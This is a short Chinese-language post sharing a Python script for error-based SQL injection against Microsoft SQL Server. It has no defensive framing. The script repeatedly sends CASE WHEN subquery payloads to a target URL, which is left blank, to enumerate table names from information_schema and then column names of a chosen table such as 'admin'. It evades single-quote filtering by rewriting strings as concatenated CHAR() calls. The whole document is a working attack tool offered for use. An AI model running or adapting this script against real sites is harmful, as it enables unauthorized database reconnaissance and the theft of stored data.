mssql 报错注入 批量获取表名和列名脚本分享

# 

import requests



headers = {

    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0",

    "Content-Type": "application/x-www-form-urlencoded"

}



# 不支持单引号,将'a' 变为CHAR(97)

def chr2ord(x = 'id'):

    result = ''

    for i in x:

        temp = ord(i)

        result = result + '%%2bchar(%s)'%temp

    # print(result[3:])

    return '(%s)'%result[3:]



# 通过html得到需要的表名、列名

def html2data(html):

    table_name = html.split('\\u0027')[1]

    return table_name



# 批量遍历表名

def getMssqlTable():

    url = ''

    payload = '(CASE WHEN (6778=6778) THEN (SELECT TOP 1 table_name FROM information_schema.tables where table_name != char(117) %s) ELSE CHAR(48) END)'



    table_name = 'id' # 初始值

    table_payload = ''

    for i in range(1,500):

        table_payload = table_payload + ' and table_name !='+chr2ord(table_name)

        payload_next = payload%table_payload

        postdata = "type="+payload_next

        # print(postdata)

        req = requests.get(url,headers=headers,data=postdata)

        reqcon = str(req.text)

        # print(reqcon)

        table_name = html2data(reqcon)

        print(table_name)



# 取列名

def getMssqlTableColumn(table_name):

    url = ''

    payload = '(CASE WHEN (6778=6778) THEN (SELECT TOP 1 column_name FROM information_schema.columns where table_name = %s %s) ELSE CHAR(48) END)'



    column_name = 'id' # 初始值

    column_payload = ''

    for i in range(1,30):

        column_payload = column_payload + ' and column_name !='+chr2ord(column_name)

        payload_next = payload%(chr2ord(table_name),column_payload)

        postdata = "type="+payload_next

        # print(postdata)

        req = requests.get(url,headers=headers,data=postdata)

        reqcon = str(req.text)

        print(reqcon)

        column_name = html2data(reqcon)

        print(column_name)    





getMssqlTable()

# getMssqlTableColumn('admin')